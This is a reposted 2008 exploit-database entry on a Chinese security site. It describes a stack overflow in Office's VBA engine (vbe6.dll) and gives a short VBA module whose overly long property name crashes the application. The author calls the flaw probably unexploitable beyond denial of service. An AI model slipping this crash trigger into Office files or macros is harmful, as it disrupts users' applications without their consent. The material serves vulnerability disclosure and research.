Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS 's

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2017年5月2日02:54:06评论292 views字数 704阅读2分20秒阅读模式
摘要

Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS 's

Marsu <[email protected]>

Module1.bas:

Attribute VB_Name = "Module1"

Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant

End Property

# milw0rm.com [2008-03-30]

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  • 本文由 发表于 2017年5月2日02:54:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS 'shttps://cn-sec.com/archives/47623.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

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